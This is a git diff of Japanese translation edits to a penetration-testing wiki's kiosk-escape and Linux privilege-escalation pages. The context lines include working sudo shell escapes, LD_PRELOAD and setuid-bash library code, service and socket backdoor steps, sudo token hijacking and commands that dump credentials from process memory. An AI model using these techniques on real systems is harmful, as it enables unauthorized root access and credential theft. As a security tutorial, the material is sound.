+画像をクリックすると左上に表示されるツールバーです。保存、印刷、メール送信、エクスプローラーで「マイピクチャ」を開くことができます。KIOSKはInternet Explorerを使用している必要があります。 #### シェルプロトコル -エクスプローラー表示を取得するには、次のURLを入力します: +エクスプローラー表示を取得するためにこのURLを入力します: - `shell:Administrative Tools` - `shell:DocumentsLibrary` @@ -156,10 +156,10 @@ Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/]( ## ブラウザのトリック -iKatのバックアップバージョン: +バックアップiKatバージョン: [http://swin.es/k/](http://swin.es/k/)\ -[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ +[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net) JavaScriptを使用して一般的なダイアログを作成し、ファイルエクスプローラーにアクセスします: `document.write('')`\ ソース: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 @@ -172,17 +172,17 @@ JavaScriptを使用して一般的なダイアログを作成し、ファイル - 四本または五本の指で一方向にスワイプ: 次の/前のアプリに切り替えます - 五本の指で画面をピンチ / ホームボタンをタッチ / 画面の下から1本の指で素早く上にスワイプ: ホームにアクセスします - 画面の下から1本の指で1-2インチスワイプ(遅く): ドックが表示されます -- 画面の上部から1本の指でスワイプダウン: 通知を表示します +- 画面の上から1本の指でスワイプダウン: 通知を表示します - 画面の右上隅から1本の指でスワイプダウン: iPad Proのコントロールセンターを表示します - 画面の左から1本の指で1-2インチスワイプ: 今日のビューを表示します -- 画面の中央から右または左に素早く1本の指でスワイプ: 次の/前のアプリに切り替えます -- 右上隅の**iPad +**の電源ボタン/**オフ**/スリープボタンを押し続け、**電源オフ**スライダーを右にスライドします: 電源を切ります -- 右上隅の**iPad**の電源ボタン/**オフ**/スリープボタンとホームボタンを数秒間押し続けます: ハード電源オフを強制します -- 右上隅の**iPad**の電源ボタン/**オフ**/スリープボタンとホームボタンを素早く押します: スクリーンショットが表示の左下にポップアップします。両方のボタンを同時に非常に短時間押すと、数秒間保持するとハード電源オフが実行されます。 +- 画面の中心から右または左に素早く1本の指でスワイプ: 次の/前のアプリに切り替えます +- 上部右隅の**iPad +**の電源ボタン/**オフ**/スリープボタンを押し続け、スライドを**電源オフ**スライダーの右端まで移動: 電源を切ります +- 上部右隅の**iPad**の電源ボタン/**オフ**/スリープボタンとホームボタンを数秒間押し続ける: ハード電源オフを強制します +- 上部右隅の**iPad**の電源ボタン/**オフ**/スリープボタンとホームボタンを素早く押す: スクリーンショットを撮影し、表示の左下にポップアップします。両方のボタンを同時に非常に短時間押すと、数秒間保持するとハード電源オフが実行されます。 ### ショートカット -iPadキーボードまたはUSBキーボードアダプタを持っている必要があります。アプリケーションからの脱出に役立つショートカットのみがここに表示されます。 +iPadキーボードまたはUSBキーボードアダプタを持っている必要があります。アプリケーションから脱出するのに役立つショートカットのみがここに表示されます。 | キー | 名前 | | --- | ------------ | @@ -222,9 +222,9 @@ iPadキーボードまたはUSBキーボードアダプタを持っている必 | ⌘ (Space) | スポットライトを開く | | ⌘⇥ (Command-Tab) | 最後に使用したアプリのリスト | | ⌘\~ | 最後のアプリに移動 | -| ⌘⇧3 (Command-Shift-3) | スクリーンショット (保存またはアクションを実行するために左下にホバー) | +| ⌘⇧3 (Command-Shift-3) | スクリーンショット (左下に保存またはアクションを実行するためにホバー) | | ⌘⇧4 | スクリーンショットを撮影し、エディタで開く | -| ⌘を押し続ける | アプリのための利用可能なショートカットのリスト | +| ⌘を押し続ける | アプリのために利用可能なショートカットのリスト | | ⌘⌥D (Command-Option/Alt-D) | ドックを表示 | | ^⌥H (Control-Option-H) | ホームボタン | | ^⌥H H (Control-Option-H-H) | マルチタスクバーを表示 | @@ -235,11 +235,11 @@ iPadキーボードまたはUSBキーボードアダプタを持っている必 | ↑↓ (上矢印、下矢印) | 選択したアイテムを同時にタップ | | ⌥ ↓ (Option-Down arrow) | 下にスクロール | | ⌥↑ (Option-Up arrow) | 上にスクロール | -| ⌥← または ⌥→ (Option-Left arrow または Option-Right arrow) | 左または右にスクロール | +| ⌥←または⌥→ (Option-Left arrowまたはOption-Right arrow) | 左または右にスクロール | | ^⌥S (Control-Option-S) | VoiceOverの音声をオンまたはオフにする | | ⌘⇧⇥ (Command-Shift-Tab) | 前のアプリに切り替える | | ⌘⇥ (Command-Tab) | 元のアプリに戻る | -| ←+→、次に Option + ← または Option+→ | ドックをナビゲート | +| ←+→、次にOption + ←またはOption+→ | ドックをナビゲート | #### Safariショートカット diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 2e67f6691..567652082 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -43,7 +43,7 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2 [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (被害者で実行、カーネル2.xの脆弱性のみをチェック) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (被害者で実行、カーネル2.xの脆弱性のみをチェック) 常に**Googleでカーネルバージョンを検索**してください。おそらくあなたのカーネルバージョンがいくつかのカーネル脆弱性に記載されており、その場合、この脆弱性が有効であることが確認できます。 @@ -79,7 +79,7 @@ sudo -u#-1 /bin/bash ```bash dmesg 2>/dev/null | grep "signature" ``` -### さらなるシステム列挙 +### より多くのシステム列挙 ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -138,7 +138,7 @@ cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## 有用なソフトウェア +## Useful software 有用なバイナリを列挙する ```bash @@ -162,7 +162,7 @@ SSHアクセスがある場合、**openVAS**を使用して、マシンにイン ## プロセス -**どのプロセス**が実行されているかを確認し、**権限が過剰なプロセス**がないかをチェックしてください(例えば、rootによって実行されているtomcatなど)。 +**どのプロセス**が実行されているかを確認し、**権限が過剰なプロセス**がないかをチェックします(例えば、rootによって実行されているtomcatなど)。 ```bash ps aux ps -ef @@ -193,7 +193,7 @@ top -n 1 #### GDB -FTPサービスのメモリにアクセスできる場合(例えば)、ヒープを取得し、その資格情報を検索することができます。 +FTPサービスのメモリにアクセスできる場合(例えば)、ヒープを取得し、その資格情報を内部で検索することができます。 ```bash gdb -p (gdb) info proc mappings @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -特定のプロセスIDに対して、**mapsはそのプロセスの**仮想アドレス空間内でメモリがどのようにマッピングされているかを示します。また、**各マッピングされた領域の権限**も表示されます。**mem**擬似ファイルは**プロセスのメモリ自体を公開します**。**maps**ファイルから、どの**メモリ領域が読み取り可能であるか**とそのオフセットがわかります。この情報を使用して、**memファイルにシークし、すべての読み取り可能な領域をファイルにダンプします**。 +特定のプロセスIDに対して、**mapsはそのプロセスの**仮想アドレス空間内でメモリがどのようにマッピングされているかを示します。また、**各マッピングされた領域の権限**も示します。**mem**擬似ファイルは**プロセスのメモリ自体を公開します**。**maps**ファイルから、どの**メモリ領域が読み取り可能であるか**とそのオフセットがわかります。この情報を使用して、**memファイルにシークし、すべての読み取り可能な領域をファイルにダンプします**。 ```bash procdump() ( @@ -269,7 +269,7 @@ Press Ctrl-C to end monitoring without terminating the process. プロセスのメモリをダンプするには、次のものを使用できます: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、自分が所有するプロセスをダンプできます +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルート要件を手動で削除し、あなたが所有するプロセスをダンプできます - [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) のスクリプト A.5 (root が必要) ### プロセスメモリからの資格情報 @@ -293,11 +293,11 @@ strings *.dump | grep -i password | 機能 | プロセス名 | | ------------------------------------------------ | -------------------- | | GDM パスワード (Kali デスクトップ、Debian デスクトップ) | gdm-password | -| Gnome キーチェーン (Ubuntu デスクトップ、ArchLinux デスクトップ) | gnome-keyring-daemon | +| Gnome Keyring (Ubuntu デスクトップ、ArchLinux デスクトップ) | gnome-keyring-daemon | | LightDM (Ubuntu デスクトップ) | lightdm | | VSFTPd (アクティブ FTP 接続) | vsftpd | -| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 | -| OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: | +| Apache2 (アクティブ HTTP ベーシック認証セッション) | apache2 | +| OpenSSH (アクティブ SSH セッション - Sudo 使用) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -342,7 +342,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys ``` **パスが** _**/some/path/\***_ **のようにワイルドカードの前にある場合、それは脆弱ではありません(** _**./\***_ **もそうです)。** -ワイルドカードの悪用トリックについては、以下のページを読んでください: +ワイルドカードの悪用トリックについては、以下のページを参照してください: {{#ref}} wildcards-spare-tricks.md @@ -380,12 +380,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 書き込み可能な _.service_ ファイル -任意の `.service` ファイルに書き込むことができるか確認してください。できる場合は、それを**修正して**サービスが**開始**、**再起動**、または**停止**されたときに**バックドアを実行**するようにできます(マシンが再起動されるまで待つ必要があるかもしれません)。\ -例えば、`.service` ファイル内にバックドアを作成し、**`ExecStart=/tmp/script.sh`** とします。 +任意の `.service` ファイルに書き込むことができるか確認してください。できる場合は、それを**変更して**サービスが**開始**、**再起動**、または**停止**されたときに**バックドアを実行**するようにできます(マシンが再起動されるまで待つ必要があるかもしれません)。\ +例えば、.service ファイル内にバックドアを作成し、**`ExecStart=/tmp/script.sh`** とします。 ### 書き込み可能なサービスバイナリ -サービスによって実行されるバイナリに**書き込み権限**がある場合、それらをバックドアに変更することができるため、サービスが再実行されるとバックドアが実行されます。 +サービスによって実行されるバイナリに**書き込み権限**がある場合、それらをバックドアに変更できることを念頭に置いてください。そうすれば、サービスが再実行されるとバックドアが実行されます。 ### systemd PATH - 相対パス @@ -399,13 +399,13 @@ ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -次に、書き込み可能なsystemd PATHフォルダー内に、**相対パスバイナリ**と同じ名前の**実行可能ファイル**を作成し、サービスが脆弱なアクション(**Start**、**Stop**、**Reload**)を実行するように求められたときに、あなたの**バックドアが実行される**ようにします(特権のないユーザーは通常サービスを開始/停止できませんが、`sudo -l`を使用できるか確認してください)。 +次に、書き込み可能なsystemd PATHフォルダー内に**相対パスバイナリ**と同じ名前の**実行可能ファイル**を作成し、サービスが脆弱なアクション(**Start**、**Stop**、**Reload**)を実行するように求められたときに、あなたの**バックドアが実行される**ようにします(特権のないユーザーは通常サービスを開始/停止できませんが、`sudo -l`を使用できるか確認してください)。 **`man systemd.service`でサービスについて詳しく学びましょう。** ## **タイマー** -**タイマー**は、`**.service**`ファイルやイベントを制御する、名前が`**.timer**`で終わるsystemdユニットファイルです。**タイマー**は、カレンダー時間イベントと単調時間イベントのサポートが組み込まれているため、cronの代替として使用でき、非同期に実行できます。 +**タイマー**は、`**.service**`ファイルやイベントを制御する`**.timer**`で終わるsystemdユニットファイルです。**タイマー**は、カレンダー時間イベントと単調時間イベントのサポートが組み込まれているため、cronの代替として使用でき、非同期で実行できます。 すべてのタイマーを列挙するには、次のコマンドを使用します: ```bash @@ -446,19 +446,19 @@ Unixドメインソケット(UDS)は、クライアント-サーバーモデ **`man systemd.socket`でソケットについてさらに学びましょう。** このファイル内では、いくつかの興味深いパラメータを設定できます: - `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、**ソケットがリッスンする場所を示すために要約が使用されます**(AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)。 -- `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットのみが生成されます。この値は、単一のサービスユニットが無条件にすべての受信トラフィックを処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことが推奨されます。 +- `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットが無条件にすべての受信トラフィックを処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことを推奨します。 - `ExecStartPre`, `ExecStartPost`: リッスンする**ソケット**/FIFOが**作成**され、バインドされる前または後に**実行される**1つ以上のコマンドラインを取ります。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。 - `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFOが**閉じられ**、削除される前または後に**実行される**追加の**コマンド**です。 -- `Service`: **受信トラフィック**で**アクティブ化**する**サービス**ユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されます。デフォルトは、ソケットと同じ名前のサービス(サフィックスが置き換えられたもの)です。ほとんどの場合、このオプションを使用する必要はありません。 +- `Service`: **受信トラフィック**で**アクティブ化**する**サービス**ユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されます。デフォルトでは、ソケットと同じ名前のサービス(サフィックスが置き換えられたもの)になります。ほとんどの場合、このオプションを使用する必要はありません。 ### 書き込み可能な.socketファイル -**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**できます。そうすると、ソケットが作成される前にバックドアが実行されます。したがって、**おそらくマシンが再起動されるまで待つ必要があります。**\ -&#xNAN;_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**できます。そうすると、ソケットが作成される前にバックドアが実行されます。したがって、**マシンが再起動されるまで待つ必要があるかもしれません。**\ +_システムがそのソケットファイルの構成を使用している必要があり、さもなければバックドアは実行されません。_ ### 書き込み可能なソケット -**書き込み可能なソケットを特定した場合**(_今はUnixソケットについて話しており、構成`.socket`ファイルについてではありません_)、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。 +**書き込み可能なソケットを特定した場合**(_ここではUnixソケットについて話しており、構成`.socket`ファイルについてではありません_)、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。 ### Unixソケットの列挙 ```bash @@ -481,7 +481,7 @@ socket-command-injection.md ### HTTPソケット -HTTPリクエストをリッスンしている**ソケット**がいくつか存在する可能性があります(_私は.socketファイルではなく、Unixソケットとして機能するファイルについて話しています_)。これを確認するには、次のコマンドを使用できます: +HTTPリクエストをリッスンしている**ソケットがあるかもしれません**(_私は.socketファイルではなく、Unixソケットとして機能するファイルについて話しています_)。これを確認するには、次のコマンドを使用できます: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` @@ -489,7 +489,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ### 書き込み可能なDockerソケット -Dockerソケットは、通常`/var/run/docker.sock`に見られる重要なファイルであり、保護されるべきです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法と、Docker CLIが利用できない場合の代替手段を以下に示します。 +Dockerソケットは、通常`/var/run/docker.sock`に見られる重要なファイルであり、保護されるべきです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法の概要と、Docker CLIが利用できない場合の代替方法を以下に示します。 #### **Docker CLIを使用した特権昇格** @@ -546,7 +546,7 @@ docker-security/ ## Containerd (ctr) 特権昇格 -**`ctr`** コマンドを使用できる場合は、以下のページを読んでください。**特権を昇格させるために悪用できるかもしれません**: +**`ctr`**コマンドを使用できる場合は、**特権を昇格させるために悪用できるかもしれないので、以下のページを読んでください**: {{#ref}} containerd-ctr-privilege-escalation.md @@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** 特権昇格 -**`runc`** コマンドを使用できる場合は、以下のページを読んでください。**特権を昇格させるために悪用できるかもしれません**: +**`runc`**コマンドを使用できる場合は、**特権を昇格させるために悪用できるかもしれないので、以下のページを読んでください**: {{#ref}} runc-privilege-escalation.md @@ -570,7 +570,7 @@ D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メ `/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限が詳細に説明されています。 -指定されたユーザーまたはグループがないポリシーは普遍的に適用され、"default"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。 +指定されたユーザーやグループがないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。 ```xml @@ -629,7 +629,7 @@ timeout 1 tcpdump ### 一般的な列挙 -**who**で自分を確認し、どの**privileges**を持っているか、システムにどの**users**がいるか、どれが**login**できるか、どれが**root privileges**を持っているかを確認します。 +**自分**が誰で、どの**権限**を持っているか、システムにどの**ユーザー**がいるか、どのユーザーが**ログイン**でき、どのユーザーが**root権限**を持っているかを確認します: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -653,12 +653,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -一部のLinuxバージョンには、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグが影響を与えました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) および [here](https://twitter.com/paragonsec/status/1071152249529884674)。\ -**これを悪用する**には: **`systemd-run -t /bin/bash`** +一部のLinuxバージョンには、**UID > INT_MAX**のユーザーが特権を昇格させることを可能にするバグが影響を与えました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) と [here](https://twitter.com/paragonsec/status/1071152249529884674)。\ +**これを利用する**には: **`systemd-run -t /bin/bash`** ### Groups -あなたがルート特権を付与する可能性のある**グループのメンバー**であるか確認してください: +あなたがルート特権を付与する可能性のある**グループのメンバーであるか**確認してください: {{#ref}} interesting-groups-linux-pe/ @@ -683,12 +683,12 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 知られているパスワード -もし**環境のパスワードを知っている場合**は、そのパスワードを使って**各ユーザーとしてログインを試みてください**。 +もし**環境のパスワードを知っている場合**は、**各ユーザーとしてログインを試みてください**。 ### Su Brute -多くのノイズを出すことを気にしない場合、`su`と`timeout`バイナリがコンピュータに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使ってユーザーをブルートフォースすることができます。\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)の`-a`パラメータを使ってもユーザーをブルートフォースしようとします。 +多くのノイズを出すことを気にしない場合、`su`と`timeout`バイナリがコンピュータに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使用してユーザーをブルートフォースすることができます。\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)の`-a`パラメータもユーザーをブルートフォースしようとします。 ## 書き込み可能なPATHの悪用 @@ -698,12 +698,12 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ### SUDOとSUID -sudoを使っていくつかのコマンドを実行することが許可されているか、suidビットが設定されているかもしれません。それを確認するには: +sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットを持っている可能性があります。それを確認するには: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -一部の**予期しないコマンドは、ファイルを読み書きしたり、コマンドを実行したりすることを許可します。** 例えば: +一部の**予期しないコマンドは、ファイルを読み書きしたり、コマンドを実行したりすることを可能にします。** 例えば: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -720,7 +720,7 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -この例では、ユーザー `demo` は `root` として `vim` を実行できます。これにより、ルートディレクトリにsshキーを追加するか、`sh` を呼び出すことでシェルを取得することが簡単になります。 +この例では、ユーザー `demo` が `root` として `vim` を実行できます。これにより、ルートディレクトリにsshキーを追加するか、`sh` を呼び出すことでシェルを取得することが簡単になります。 ``` sudo vim -c '!sh' ``` @@ -763,7 +763,7 @@ export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合**にも使用できます(常に奇妙な SUID バイナリの内容を _**strings**_ で確認してください)。 +この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合**にも使用できます(常に _**strings**_ で奇妙な SUID バイナリの内容を確認してください)。 [Payload examples to execute.](payloads-to-execute.md) @@ -771,7 +771,7 @@ sudo less もし **suid** バイナリが **パスを指定して別のコマンドを実行する場合**、その場合は、suid ファイルが呼び出しているコマンドと同名の **関数をエクスポート**してみることができます。 -例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成してエクスポートしてみる必要があります: +例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成してエクスポートする必要があります: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -787,7 +787,7 @@ export -f /usr/sbin/service - ローダーは、実ユーザーID(_ruid_)が有効ユーザーID(_euid_)と一致しない実行可能ファイルに対して **LD_PRELOAD** を無視します。 - suid/sgid の実行可能ファイルに対しては、suid/sgid である標準パスのライブラリのみがプリロードされます。 -特権昇格は、`sudo` を使用してコマンドを実行する能力があり、`sudo -l` の出力に **env_keep+=LD_PRELOAD** という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo` でコマンドが実行される際にも認識されるため、特権のある状態で任意のコードが実行される可能性があります。 +特権昇格は、`sudo` でコマンドを実行する能力があり、`sudo -l` の出力に **env_keep+=LD_PRELOAD** という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo` でコマンドが実行されるときにも認識されるため、特権のある状態で任意のコードが実行される可能性があります。 ``` Defaults env_keep += LD_PRELOAD ``` @@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 攻撃者が **LD_LIBRARY_PATH** 環境変数を制御している場合、同様の特権昇格が悪用される可能性があります。なぜなら、攻撃者はライブラリが検索されるパスを制御しているからです。 +> 攻撃者が**LD_LIBRARY_PATH**環境変数を制御している場合、同様の特権昇格が悪用される可能性があります。なぜなら、攻撃者はライブラリが検索されるパスを制御しているからです。 ```c #include #include @@ -836,13 +836,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUIDバイナリ – .soインジェクション -**SUID**権限を持つバイナリに遭遇した際に、異常に見える場合は、正しく**.so**ファイルを読み込んでいるか確認することが良い習慣です。これを確認するには、次のコマンドを実行します: +**SUID**権限を持つバイナリに遭遇した際に異常に見える場合、**.so**ファイルが正しく読み込まれているか確認することは良い習慣です。これを確認するには、次のコマンドを実行します: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` 例えば、_“open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (そのようなファイルやディレクトリはありません)”_ のようなエラーに遭遇することは、悪用の可能性を示唆しています。 -これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、以下のコードを含めることになります: +これを悪用するには、_"/path/to/.config/libcalc.c"_ というCファイルを作成し、以下のコードを含めることになります: ```c #include #include @@ -859,9 +859,9 @@ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最終的に、影響を受けたSUIDバイナリを実行することで、エクスプロイトがトリガーされ、システムの侵害の可能性が生じます。 +最終的に、影響を受けたSUIDバイナリを実行すると、エクスプロイトがトリガーされ、システムの侵害の可能性が生じます。 -## Shared Object Hijacking +## 共有オブジェクトハイジャック ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -892,9 +892,9 @@ system("/bin/bash -p"); ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリのキュレーションされたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合の同様のリストです。 +[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルセキュリティ制限を回避するために悪用できるUnixバイナリのキュレーションされたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合の同様のリストです。 -このプロジェクトは、制限されたシェルから抜け出したり、特権を昇格または維持したり、ファイルを転送したり、バインドシェルやリバースシェルを生成したり、他のポストエクスプロイテーションタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集しています。 +このプロジェクトは、制限されたシェルから抜け出し、特権を昇格または維持し、ファイルを転送し、バインドおよびリバースシェルを生成し、他のポストエクスプロイトタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集します。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -911,24 +911,24 @@ https://gtfoargs.github.io/ ### FallOfSudo -`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、任意のsudoルールを悪用する方法を見つけることができます。 +`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、任意のsudoルールを悪用する方法を見つけられるか確認できます。 ### Sudoトークンの再利用 -**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすることで特権を昇格させる**ことができます。 +**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックする**ことで特権を昇格できます。 -特権を昇格させるための要件: +特権を昇格するための要件: - "_sampleuser_" としてシェルを持っている -- "_sampleuser_" が**最後の15分間**に**`sudo`**を使用して何かを実行している(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です) +- "_sampleuser_" が**過去15分以内に `sudo`**を使用して何かを実行している(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です) - `cat /proc/sys/kernel/yama/ptrace_scope` が 0 である - `gdb` にアクセス可能である(アップロードできる必要があります) -(`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` で一時的に `ptrace_scope` を有効にするか、`/etc/sysctl.d/10-ptrace.conf` を永続的に変更して `kernel.yama.ptrace_scope = 0` を設定できます) +(`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` で一時的に `ptrace_scope` を有効にするか、`/etc/sysctl.d/10-ptrace.conf` を永続的に修正して `kernel.yama.ptrace_scope = 0` を設定できます) -これらの要件がすべて満たされている場合、**次の方法で特権を昇格させることができます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +これらの要件がすべて満たされている場合、**次の方法で特権を昇格できます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **最初のエクスプロイト** (`exploit.sh`) は、_/tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにする**ことができます(自動的にルートシェルは取得できませんので、`sudo su` を実行してください): +- **最初のエクスプロイト** (`exploit.sh`) は、_/tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにできます**(自動的にルートシェルは取得できませんので、`sudo su` を実行してください): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -946,15 +946,15 @@ sudo su ``` ### /var/run/sudo/ts/\ -フォルダ内のファイルに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\ -例えば、ファイル_/var/run/sudo/ts/sampleuser_を上書きでき、PID 1234のそのユーザーとしてシェルを持っている場合、パスワードを知らなくても**sudo権限を取得**できます。 